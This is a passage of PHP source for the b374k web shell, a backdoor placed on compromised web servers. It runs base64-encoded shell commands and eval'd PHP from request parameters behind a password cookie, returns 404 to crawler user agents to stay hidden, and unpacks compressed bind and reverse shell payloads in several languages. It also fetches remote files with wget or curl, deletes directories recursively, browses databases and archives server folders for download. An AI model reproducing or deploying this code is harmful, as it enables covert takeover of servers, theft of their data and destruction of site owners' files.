0){ if(isset($_COOKIE['b374k'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true; } if(isset($_REQUEST['login'])){ $s_login = strtolower(md5(trim($_REQUEST['login']))); if(strtolower(trim($s_pass)) == $s_login){ setcookie("b374k",$s_login,time() + $s_login_time); $s_auth = true; } } if(isset($_REQUEST['x']) && ($_REQUEST['x']=='logout')){ $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):""; foreach($_COOKIE as $s_k=>$s_v){ setcookie($s_k,"",time() - $s_login_time); } $s_auth = false; if(!empty($s_reload)) header("Location: ".$s_reload); } } else $s_auth = true; if(!empty($_REQUEST['s_pass'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){ if(isset($_REQUEST['cmd'])){ $s_cmd = base64_decode($_REQUEST['cmd']); echo exe($s_cmd); } elseif(isset($_REQUEST['eval'])){ $s_code = base64_decode($_REQUEST['eval']); ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); echo $s_res; } else echo $s_title; } die(); } if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } $s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do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/wU="; // make link for folder $s_cwd and all of its parent folder function swd($s_p){ global $s_self; $s_ps = explode(DIRECTORY_SEPARATOR,$s_p); $s_pu = ""; for($s_i = 0 ; $s_i < sizeof($s_ps)-1 ; $s_i++){ $s_pz = ""; for($s_j = 0 ; $s_j <= $s_i ; $s_j++) $s_pz .= $s_ps[$s_j].DIRECTORY_SEPARATOR; $s_pu .= "".$s_ps[$s_i]." ".DIRECTORY_SEPARATOR." "; } return trim($s_pu); } // htmlspecialchars, < > " function hss($s_t){ $s_n = array(">","<","\""); $s_y = array(">", "<", """); return str_replace($s_n,$s_y,$s_t); } // remove
tags function rp($s_t){ return trim(str_replace("
","",$s_t)); } // replace spaces with underscore ( _ ) function cs($s_t){ return str_replace(" ","_",$s_t); } // strip slashes,trim and urldecode function ss($s_t){ return (!get_magic_quotes_gpc())? trim(urldecode($s_t)) : trim(urldecode(stripslashes($s_t))); } // only strip slashes function ssc($s_t){ return (!get_magic_quotes_gpc())? trim($s_t) : trim(stripslashes($s_t)); } // bind and reverse shell function rs($s_rstype,$s_rstarget,$s_rscode){ //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php //resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win $s_rs_php $s_result = ""; $s_fpath = ""; $s_fc = gzinflate(base64_decode($s_rscode)); $s_errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one"; $s_errgcc = "Unable to compile using gcc"; $s_split = explode("_",$s_rstype); $s_method = $s_split[0]; $s_lang = $s_split[1]; if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb"){ if($s_lang=="py") $s_runlang = "python"; elseif($s_lang=="pl") $s_runlang = "perl"; elseif($s_lang=="rb") $s_runlang = "ruby"; $s_fpath = "b374k_rs.".$s_lang; if(is_file($s_fpath)) unlink($s_fpath); if($s_file=fopen($s_fpath,"w")){ fwrite($s_file,$s_fc); fclose($s_file); if(is_file($s_fpath)){ $s_result = exe("chmod +x ".$s_fpath); $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="c"){ $s_fpath = "b374k_rs"; if(is_file($s_fpath)) unlink($s_fpath); if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); if($s_file=fopen($s_fpath.".c","w")){ fwrite($s_file,$s_fc); fclose($s_file); if(is_file($s_fpath.".c")){ $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath); if(is_file($s_fpath)){ $s_result = exe("chmod +x ".$s_fpath); $s_result = exe("./".$s_fpath." ".$s_rstarget); } else $s_result = $s_errgcc; } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="win"){ $s_fpath = "b374k_rs.exe"; if(is_file($s_fpath)) unlink($s_fpath); if($s_file=fopen($s_fpath,"w")){ fwrite($s_file,$s_fc); fclose($s_file); if(is_file($s_fpath)){ $s_result = exe($s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="php"){ $s_result = eval("?>".$s_fc); } if(is_file($s_fpath)) unlink($s_fpath); if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); return $s_result; } // format bit function ts($s_s){ if($s_s<=0) return 0; $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); $s_e = floor(log($s_s)/log(1024)); return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e)))); } // get file size function gs($s_f){ $s_s = @filesize($s_f); if($s_s !== false){ if($s_s<=0) return 0; return ts($s_s); } else return "???"; } // get file permissions function gp($s_f){ if($s_m=@fileperms($s_f)){ $s_p = 'u'; if(($s_m & 0xC000) == 0xC000)$s_p = 's'; elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l'; elseif(($s_m & 0x8000) == 0x8000)$s_p = '-'; elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b'; elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd'; elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c'; elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p'; $s_p .= ($s_m & 00400) ? 'r' : '-'; $s_p .= ($s_m & 00200) ? 'w' : '-'; $s_p .= ($s_m & 00100) ? 'x' : '-'; $s_p .= ($s_m & 00040) ? 'r' : '-'; $s_p .= ($s_m & 00020) ? 'w' : '-'; $s_p .= ($s_m & 00010) ? 'x' : '-'; $s_p .= ($s_m & 00004) ? 'r' : '-'; $s_p .= ($s_m & 00002) ? 'w' : '-'; $s_p .= ($s_m & 00001) ? 'x' : '-'; return $s_p; } else return "???????????"; } // shell command function exe($s_c){ $s_out = ""; $s_c = $s_c." 2>&1"; if(is_callable('system')) { ob_start(); @system($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable('shell_exec')){ $s_out = @shell_exec($s_c); if(!empty($s_out)) return $s_out; } if(is_callable('exec')) { @exec($s_c,$s_r); if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s; if(!empty($s_out)) return $s_out; } if(is_callable('passthru')) { ob_start(); @passthru($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable('proc_open')) { $s_descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array()); if (is_resource($s_proc)) { while ($s_si = fgets($s_pipes[1])) { if(!empty($s_si)) $s_out .= $s_si; } while ($s_se = fgets($s_pipes[2])) { if(!empty($s_se)) $s_out .= $s_se; } } @proc_close($s_proc); if(!empty($s_out)) return $s_out; } if(is_callable('popen')){ $s_f = @popen($s_c, 'r'); if($s_f){ while(!feof($s_f)){ $s_out .= fread($s_f, 2096); } pclose($s_f); } if(!empty($s_out)) return $s_out; } return ""; } // add slash to the end of given path function cp($s_p){ if(is_dir($s_p)){ $s_x = DIRECTORY_SEPARATOR; while(substr($s_p,-1) == $s_x) $s_p = rtrim($s_p,$s_x); return $s_p.$s_x; } return $s_p; } // delete dir and all of its content (no warning !) xp function rmdirs($s_d){ $s_f = glob($s_d . '*', GLOB_MARK); foreach($s_f as $s_z){ if(is_dir($s_z)) rmdirs($s_z); else unlink($s_z); } if(is_dir($s_d)) rmdir($s_d); } // get array of all files from given directory function getallfiles($s_dir){ $s_f = glob($s_dir . '*'); for($s_i = 0; $s_i < count($s_f); $s_i++){ if(is_dir($s_f[$s_i])) { $s_a = glob($s_f[$s_i].DIRECTORY_SEPARATOR.'*'); $s_f = array_merge($s_f, $s_a); } } return $s_f; } // which command function xwhich($s_pr){ $s_p = exe("which $s_pr"); if(trim($s_p)!="") { return trim($s_p); } else { return trim($s_pr); } } // download file from internet function dlfile($s_u,$s_p){ $s_n = basename($s_u); // try using php functions if($s_t = @file_get_contents($s_u)){ if(is_file($s_p)) unlink($s_p);; if($s_f=fopen($s_p,"w")){ fwrite($s_f,$s_t); fclose($s_f); if(is_file($s_p)) return true; } } // using wget exe(xwhich('wget')." ".$s_u." -O ".$s_p); if(is_file($s_p)) return true; // try using lwp-download exe(xwhich('lwp-download')." ".$s_u." ".$s_p); if(is_file($s_p)) return true; // try using lynx exe(xwhich('lynx')." -source ".$s_u." > ".$s_p); if(is_file($s_p)) return true; // try using curl exe(xwhich('curl')." ".$s_u." -o ".$s_p); if(is_file($s_p)) return true; return false; } // find writable dir function get_writabledir(){ if(is_writable(".")) $s_d = ".".DIRECTORY_SEPARATOR; else{ if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMPDIR")){ if(is_writable("/tmp")) $s_d = "/tmp/"; else $s_d = getcwd().DIRECTORY_SEPARATOR; } } return $s_d; } // zip function function zip($s_src, $s_dest){ if(!extension_loaded('zip') || !file_exists($s_src)) return false; if(class_exists("ZipArchive")){ $s_zip = new ZipArchive(); if(!$s_zip->open($s_dest, 1)) return false; $s_src = str_replace('\\', '/', $s_src); if(is_dir($s_src)){ $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1); foreach($s_files as $s_file){ $s_file = str_replace('\\', '/', $s_file); if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue; if (is_dir($s_file) === true) $s_zip->addEmptyDir(str_replace($s_src . '/', '', $s_file . '/')); else if (is_file($s_file) === true) $s_zip->addFromString(str_replace($s_src . '/', '', $s_file), @file_get_contents($s_file)); } } elseif(is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @file_get_contents($s_src)); $s_zip->close(); return true; } } // check shell permission to access program function check_access($s_lang){ $s_s = 0; switch($s_lang){ case "python": $s_cek = strtolower(exe("python -h")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "perl": $s_cek = strtolower(exe("perl -h")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "ruby": $s_cek = strtolower(exe("ruby -h")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "gcc": $s_cek = strtolower(exe("gcc --help")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "tar": $s_cek = strtolower(exe("tar --help")); if(strpos($s_cek,"usage")!==false) $s_s = 1; break; case "java": $s_cek = strtolower(exe("javac --help")); if(strpos($s_cek,"usage")!==false){ $s_cek = strtolower(exe("java -h")); if(strpos($s_cek,"usage")!==false) $s_s = 1; } break; } return $s_s; } // find available archiver function get_archiver_available(){ global $s_self, $s_tar; $s_dlfile = ""; $s_avail_arc = array("raw" => "raw"); if(class_exists("ZipArchive")){ $s_avail_arc["ziparchive"] = "zip"; } if($s_tar){ $s_avail_arc["tar"] = "tar"; $s_avail_arc["targz"] = "tar.gz"; } $s_option_arc = ""; foreach($s_avail_arc as $s_t => $s_u){ $s_option_arc .= ""; } $s_dlfile .= "
"; return $s_dlfile; } // explorer, return a table of given dir function showdir($s_cwd){ global $s_self; $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; $s_win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false; $s_fname = array(); $s_dname = array(); if(function_exists("scandir") && $s_dh = @scandir($s_cwd)){ foreach($s_dh as $s_file){ if(is_dir($s_file)) $s_dname[] = $s_file; elseif(is_file($s_file)) $s_fname[] = $s_file; } } else{ if($s_dh = @opendir($s_cwd)){ while($s_file = readdir($s_dh)){ if(is_dir($s_file)) $s_dname[] = $s_file; elseif(is_file($s_file))$s_fname[] = $s_file; } closedir($s_dh); } } sort($s_fname); sort($s_dname); $s_list = array_merge($s_dname,$s_fname); if($s_win){ //check if this root directory chdir(".."); if(cp(getcwd())==cp($s_cwd)){ array_unshift($s_list, "."); } chdir($s_cwd); } $s_path = explode(DIRECTORY_SEPARATOR,$s_cwd); $s_tree = sizeof($s_path); $s_parent = ""; if($s_tree > 2) for($s_i=0;$s_i<$s_tree-2;$s_i++) $s_parent .= $s_path[$s_i].DIRECTORY_SEPARATOR; else $s_parent = $s_cwd; $s_owner_html = (!$s_win && $s_posix) ? "owner:group" : ""; $s_colspan = (!$s_win && $s_posix) ? "6" : "5"; $s_buff = " ".$s_owner_html." "; $s_arc = get_archiver_available(); foreach($s_list as $s_l){ if(!$s_win && $s_posix){ $s_name = posix_getpwuid(fileowner($s_l)); $s_group = posix_getgrgid(filegroup($s_l)); $s_owner = $s_name['name'].":".$s_group['name']; $s_owner_html = ""; } $s_lhref = ""; $s_lname = ""; $s_laction = ""; if(is_dir($s_l)){ if($s_l=="."){ $s_lhref = $s_self."cd=".$s_cwd; $s_lsize = "LINK"; $s_laction = " find | upl | +file | +dir
"; } elseif($s_l==".."){ $s_lhref = $s_self."cd=".$s_parent; $s_lsize = "LINK"; $s_laction = " find | upl | +file | +dir
"; } else{ $s_lhref = $s_self."cd=".$s_cwd.$s_l.DIRECTORY_SEPARATOR; $s_lsize = "DIR"; $s_laction = " find | upl | ren | del
"; } $s_lname = "[ ".$s_l." ]"; $s_lsizetit = "0"; } else{ $s_lhref = $s_self."view=".$s_l; $s_lname = $s_l; $s_lsize = gs($s_l); $s_lsizetit = @filesize($s_l); $s_laction = "
edit | hex | ren | del "; } if(($s_l!='.')&&($s_l!='..')){ $s_cboxes = " "; } else $s_cboxes = "~"; $s_ldl = str_replace("__dlpath__",$s_l,$s_arc); $s_buff .= " ".$s_owner_html." "; } $s_buff .= "
namesizepermsmodifiedactiondownload
".$s_owner."
".$s_cboxes." ".$s_lname." ".$s_lsize."".gp($s_l)." ".@date("d-M-Y H:i:s",filemtime($s_l))." ".$s_laction." ".$s_ldl."
"; return $s_buff; } //database related functions function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){ if($s_sqltype == 'mysql'){if(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost,$s_sqluser,$s_sqlpass); elseif(function_exists('sqlsrv_connect')){ $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass); return @sqlsrv_connect($s_sqlhost,$s_coninfo); } } elseif($s_sqltype == 'pgsql'){ $s_hosts = explode(":", $s_sqlhost); if(count($s_hosts)==2){ $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1]; } else $s_host_str = "host=".$s_sqlhost; if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass"); } elseif($s_sqltype == 'oracle'){if(function_exists('oci_connect')) return @oci_connect($s_sqluser,$s_sqlpass,$s_sqlhost);} elseif($s_sqltype == 'sqlite3'){ if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost); else return false; } elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} elseif($s_sqltype == 'pdo'){ if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost,$s_sqluser,$s_sqlpass); else return false; } } function sql_query($s_sqltype, $s_query, $s_con){ if($s_sqltype == 'mysql'){if(function_exists('mysql_query')) return mysql_query($s_query);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_query')) return mssql_query($s_query); elseif(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_query')) return pg_query($s_query);} elseif($s_sqltype == 'oracle'){ if(function_exists('oci_parse') && function_exists('oci_execute')){ $s_st = oci_parse($s_con, $s_query); oci_execute($s_st); return $s_st; } } elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->query($s_query);} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_query')) return sqlite_query($s_con, $s_query);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_exec')) return odbc_exec($s_con, $s_query);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con->query($s_query);} } function sql_num_fields($s_sqltype, $s_hasil){ if($s_sqltype == 'mysql'){if(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil); elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_fields')) return pg_num_fields($s_hasil);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_fields')) return oci_num_fields($s_hasil);} elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->numColumns();} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_fields')) return sqlite_num_fields($s_hasil);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_fields')) return odbc_num_fields($s_hasil);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->columnCount();} } function sql_field_name($s_sqltype,$s_hasil,$s_i){ if($s_sqltype == 'mysql'){if(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i); elseif(function_exists('sqlsrv_field_metadata')){ $s_metadata = sqlsrv_field_metadata($s_hasil); if(is_array($s_metadata)){ $s_metadata=$s_metadata[$s_i]; } if(is_array($s_metadata)) return $s_metadata['Name']; } } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_field_name')) return pg_field_name($s_hasil,$s_i);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_field_name')) return oci_field_name($s_hasil,$s_i+1);} elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->columnName($s_i);} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_field_name')) return sqlite_field_name($s_hasil,$s_i);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_field_name')) return odbc_field_name($s_hasil,$s_i+1);} elseif($s_sqltype == 'pdo'){ if(class_exists('PDO')){ $s_res = $s_hasil->getColumnMeta($s_i); return $s_res['name']; } } } function sql_fetch_data($s_sqltype,$s_hasil){ if($s_sqltype == 'mysql'){if(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil); elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_fetch_row')) return pg_fetch_row($s_hasil);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_fetch_row')) return oci_fetch_row($s_hasil);} elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->fetchArray(1);} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_fetch_array')) return sqlite_fetch_array($s_hasil,1);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_fetch_array')) return odbc_fetch_array($s_hasil);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->fetch(2);} } function sql_num_rows($s_sqltype,$s_hasil){ if($s_sqltype == 'mysql'){if(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil); elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_rows')) return pg_num_rows($s_hasil);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_rows')) return oci_num_rows($s_hasil);} elseif($s_sqltype == 'sqlite3'){ if(class_exists('SQLite3')){ $s_metadata = $s_hasil->fetchArray(); if(is_array($s_metadata)) return $s_metadata['count']; } } elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_rows')) return sqlite_num_rows($s_hasil);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_rows')) return odbc_num_rows($s_hasil);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->rowCount();} } function sql_close($s_sqltype,$s_con){ if($s_sqltype == 'mysql'){if(function_exists('mysql_close')) return mysql_close($s_con);} elseif($s_sqltype == 'mssql'){ if(function_exists('mssql_close')) return mssql_close($s_con); elseif(function_exists('sqlsrv_close')) return sqlsrv_close($s_con); } elseif($s_sqltype == 'pgsql'){if(function_exists('pg_close')) return pg_close($s_con);} elseif($s_sqltype == 'oracle'){if(function_exists('oci_close')) return oci_close($s_con);} elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->close();} elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_close')) return sqlite_close($s_con);} elseif($s_sqltype == 'odbc'){if(function_exists('odbc_close')) return odbc_close($s_con);} elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con = null;} } if(!function_exists('str_split')){ function str_split($s_t,$s_s=1){ $s_a = array(); for($s_i=0;$s_i[ "; if ($s_letter.":" != $s_v) {$s_letters .= $s_letter;} else {$s_letters .= "".$s_letter."";} $s_letters .= " ] "; } } } // prompt style.. $s_prompt = $s_user." >"; // check for posix $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; // server ip $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); // your ip ;-) $s_my_ip = $_SERVER['REMOTE_ADDR']; $s_result = ""; global $s_python, $s_perl, $s_ruby, $s_gcc, $s_java, $s_tar; // check python if(isset($_COOKIE['s_python'])){$s_python = $_COOKIE['s_python'];} else{ $s_python = check_access("python"); setcookie("s_python", $s_python ,time() + $s_login_time); } $s_python = ($s_python=="1")?true:false; // check perl if(isset($_COOKIE['s_perl'])){$s_perl = $_COOKIE['s_perl'];} else{ $s_perl = check_access("perl"); setcookie("s_perl", $s_perl ,time() + $s_login_time); } $s_perl = ($s_perl=="1")?true:false; // check ruby if(isset($_COOKIE['s_ruby'])){$s_ruby = $_COOKIE['s_ruby'];} else{ $s_ruby = check_access("ruby"); setcookie("s_ruby", $s_ruby ,time() + $s_login_time); } $s_ruby = ($s_ruby=="1")?true:false; // check gcc if(isset($_COOKIE['s_gcc'])){$s_gcc = $_COOKIE['s_gcc'];} else{ $s_gcc = check_access("gcc"); setcookie("s_gcc", $s_gcc ,time() + $s_login_time); } $s_gcc = ($s_gcc=="1")?true:false; // check java if(isset($_COOKIE['s_java'])){$s_java = $_COOKIE['s_java'];} else{ $s_java = check_access("java"); setcookie("s_java", $s_java ,time() + $s_login_time); } $s_java = ($s_java=="1")?true:false; // check tar if(isset($_COOKIE['s_tar'])){$s_tar = $_COOKIE['s_tar'];} else{ $s_tar = check_access("tar"); setcookie("s_tar", $s_tar ,time() + $s_login_time); } $s_tar = ($s_tar=="1")?true:false; if(!empty($_REQUEST['dltype']) && !empty($_REQUEST['dlpath'])){ $s_dltype = ss($_REQUEST['dltype']); $s_dlpath = ss($_REQUEST['dlpath']); $s_dlname = basename($s_dlpath); if($s_dlpath==".") $s_dlname=basename($s_cwd); elseif($s_dlpath==".."){ chdir(".."); $s_dlname=basename(getcwd()); chdir($s_cwd); } $s_tmpdir = get_writabledir(); $s_dlarchive = $s_tmpdir.$s_dlname; $s_dlthis = ""; if($s_dltype=="ziparchive"){ $s_dlarchive .= ".zip"; if(zip($s_dlpath,$s_dlarchive)){ $s_dlthis = $s_dlarchive; } } elseif($s_dltype=="tar"){ $s_dlarchive .= ".tar"; $s_dlarchive = str_replace('\\', '/', $s_dlarchive); exe("tar cf ".$s_dlarchive." ".$s_dlpath); $s_dlthis = $s_dlarchive; } elseif($s_dltype=="targz"){ $s_dlarchive .= ".tar.gz"; $s_dlarchive = str_replace('\\', '/', $s_dlarchive); exe("tar czf ".$s_dlarchive." ".$s_dlpath); $s_dlthis = $s_dlarchive; } elseif($s_dltype=="raw"){ if(is_file($s_dlpath)) $s_dlthis = $s_dlpath; } if(is_file($s_dlthis)){ header("Content-Type: application/octet-stream"); header('Content-Transfer-Encoding: binary'); header("Content-length: ".@filesize($s_dlthis)); header("Content-disposition: attachment; filename=\"".basename($s_dlthis)."\";"); $s_file = @fopen($s_dlthis,"rb"); while(!feof($s_file)){ print(@fread($s_file, 1024*8)); ob_flush(); flush(); } fclose($s_file); if($s_dltype!="raw"){ rename($s_dlthis,$s_dlthis."del"); unlink($s_dlthis."del"); } exit; } } // massact if(isset($_REQUEST['y'])){ $s_massact = $_COOKIE['massact']; $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); $s_lists = explode("|", $s_buffer); if(!empty($s_buffer)){ if($_REQUEST['y']=='delete'){ $s_result .= "

Delete ? Yes | No

"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } elseif($_REQUEST['y']=='chmod'){ $s_result .= "
chmod ?
"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } elseif($_REQUEST['y']=='touch'){ $s_result .= "
touch ?
"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } elseif($_REQUEST['y']=='paste' && $s_massact=='cut'){ $s_result .= "

Move here ? Yes | No

"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } elseif($_REQUEST['y']=='paste' && $s_massact=='copy'){ $s_result .= "

Copy here ? Yes | No

"; foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; } } } if(isset($_REQUEST['y'])){ $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); $s_lists = explode("|", $s_buffer); $s_counter = 0; if($_REQUEST['y']=='moveok'){ foreach($s_lists as $s_l){ if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++; } if($s_counter>0) $s_result .= "

".$s_counter." files/folders moved

"; else $s_result .= "

no files/folders moved

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } if($_REQUEST['y']=='copyok'){ foreach($s_lists as $s_l){ if(copy($s_l,$s_cwd.basename($s_l))) $s_counter++; } if($s_counter>0) $s_result .= "

".$s_counter." files/folders copied

"; else $s_result .= "

no files/folders copied

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } if($_REQUEST['y']=='delok'){ foreach($s_lists as $s_l){ if(is_file($s_l)){ if(unlink($s_l)) $s_counter++; } elseif(is_dir($s_l)){ rmdirs($s_l); if(!is_dir($s_l)) $s_counter++; } } if($s_counter>0) $s_result .= "

".$s_counter." files/folders deleted

"; else $s_result .= "

no files/folders deleted

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } } elseif(isset($_REQUEST['chmodok'])){ $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); $s_lists = explode("|", $s_buffer); $s_counter = 0; $s_mod = octdec($_REQUEST['chmodok']); foreach($s_lists as $s_l){ if(chmod($s_l,$s_mod)) $s_counter++; } if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed mode to ".decoct($s_mod)."

"; else $s_result .= "

no files/folders modified

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } elseif(isset($_REQUEST['touchok'])){ $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); $s_lists = explode("|", $s_buffer); $s_counter = 0; $s_datenew = strtotime($_REQUEST['touchok']); foreach($s_lists as $s_l){ if(touch($s_l,$s_datenew)) $s_counter++; } if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed access and modification time to ".date("d-M-Y H:i:s",$s_datenew)."

"; else $s_result .= "

no files/folders modified

"; setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } // view image specified by ?img= if(isset($_REQUEST['img'])){ ob_clean(); $s_d = ss($_REQUEST['d']); $s_f = ss($_REQUEST['img']); $s_inf = @getimagesize($s_d.$s_f); $s_ext = explode($s_f,"."); $s_ext = $s_ext[count($s_ext)-1]; header("Content-type: ".$s_inf["mime"]); header("Cache-control: public"); header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7));# readfile($s_d.$s_f); exit; } // rename file or folder if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){ $s_old = ss($_REQUEST['oldname']); $s_new = ss($_REQUEST['newname']); $s_renmsg = ""; if(is_dir($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) ? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new; elseif(is_file($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) 